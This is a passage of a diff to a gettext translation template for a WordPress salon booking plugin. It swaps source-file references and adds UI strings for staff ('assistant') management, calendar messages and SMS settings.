System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:199\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:435\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:115\n+msgid \"Are you sure?\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:298, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:298, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:298, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:298, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:298\n-msgid \"Note:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:167\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:167\n+msgid \"as your SMS provider\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:298, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:298, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:298, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:298, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:298\n-msgid \"This email was generated using a basic template because the custom email template could not be loaded. Please contact the website administrator to restore full email functionality.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:243\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:243\n+msgid \"ASCII mode\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:429, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:429, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:429, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPlugin.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:429, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:429\n-msgid \"An error occurred during the booking process. Please try again or contact the website administrator.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fresource.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:24\n+msgid \"Assigned services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPlugin.php:465, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPlugin.php:465, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:465, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPlugin.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPlugin.php:465, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPlugin.php:465\n-msgid \"A system error occurred. Please contact the website administrator.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:430\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:462\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:246\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:430\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:462\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:246\n+msgid \"Assistant\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPrivacy.php:47, src\u002FSLN\u002FPrivacy.php:48, src\u002FSLN\u002FPrivacy\u002FExporters.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPrivacy.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPrivacy.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPrivacy.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPrivacy.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPrivacy.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPrivacy.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPrivacy.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPrivacy.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPrivacy\u002FExporters.php:13\n-msgid \"Customer Data\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant_description.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_description.php:9\n+msgid \"Assistant Description\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPrivacy.php:59, src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:162, src\u002FSLN\u002FAdmin\u002FCalendar.php:11, src\u002FSLN\u002FPostType\u002FAttendant.php:254, src\u002FSLN\u002FPostType\u002FBooking.php:630, src\u002FSLN\u002FPostType\u002FResource.php:215, src\u002FSLN\u002FPostType\u002FService.php:259, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPrivacy.php:59, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:162, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:254, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:630, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:215, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:259, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPrivacy.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPrivacy.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPrivacy.php:59, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:162, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:254, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:630, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:215, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:259, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:615, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:259, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:615, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:259, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:630, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:259\n-msgid \"Salon\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:49\n+msgid \"Assistant description\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPrivacy.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPrivacy.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPrivacy.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPrivacy.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPrivacy.php:71\n-msgid \"What personal data we collect and why we collect it\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:30\n+msgid \"Assistant Details\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPrivacy.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPrivacy.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPrivacy.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPrivacy.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPrivacy.php:72\n-msgid \"This text describes what type of information the admin should include here or what they should do with this info you provide in your template.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:224\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:224\n+msgid \"Assistant draft updated.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:346, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:346, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:346, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:346, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:346, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:346\n-msgid \"Calendar: View %s not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:39\n+msgid \"Assistant Google Calendar\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:347, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:347, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:347\n-msgid \"Calendar: Wrong date format %s. Should be either \\\"now\\\" or \\\"yyyy-mm-dd\\\"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:111\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:111\n+msgid \"Assistant is busy\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:348, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:348, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:348, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:348, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:348, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:348\n-msgid \"Calendar: Event URL is not set\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:409\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:409\n+msgid \"Assistant Performance\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:349, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:349, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:349\n-msgid \"Calendar: Wrong navigation direction %s. Can be only \\\"next\\\" or \\\"prev\\\" or \\\"today\\\"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:209\n+msgid \"Assistant published.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:350, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:350, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:350\n-msgid \"Calendar: Time split parameter should divide 60 without decimals. Something like 10, 15, 30\"\n+#. %s will be replaced by the revision title\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:205\n+#, php-format\n+msgid \"Assistant restored to revision from %s\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:352, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:352, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:352, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:352, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:352, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:352\n-msgid \"No events in this day.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:211\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:211\n+msgid \"Assistant saved.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:361, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:361, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:361, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:361, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:361, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:361\n-msgid \"week %s of %s\"\n+#. %s will be replaced by the date\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:217\n+#, php-format\n+msgid \"Assistant scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>. \"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:368, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:368, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:368, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:368, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:368, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:368\n-msgid \"Week %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:19\n+msgid \"Assistant selection\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:369, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:369, 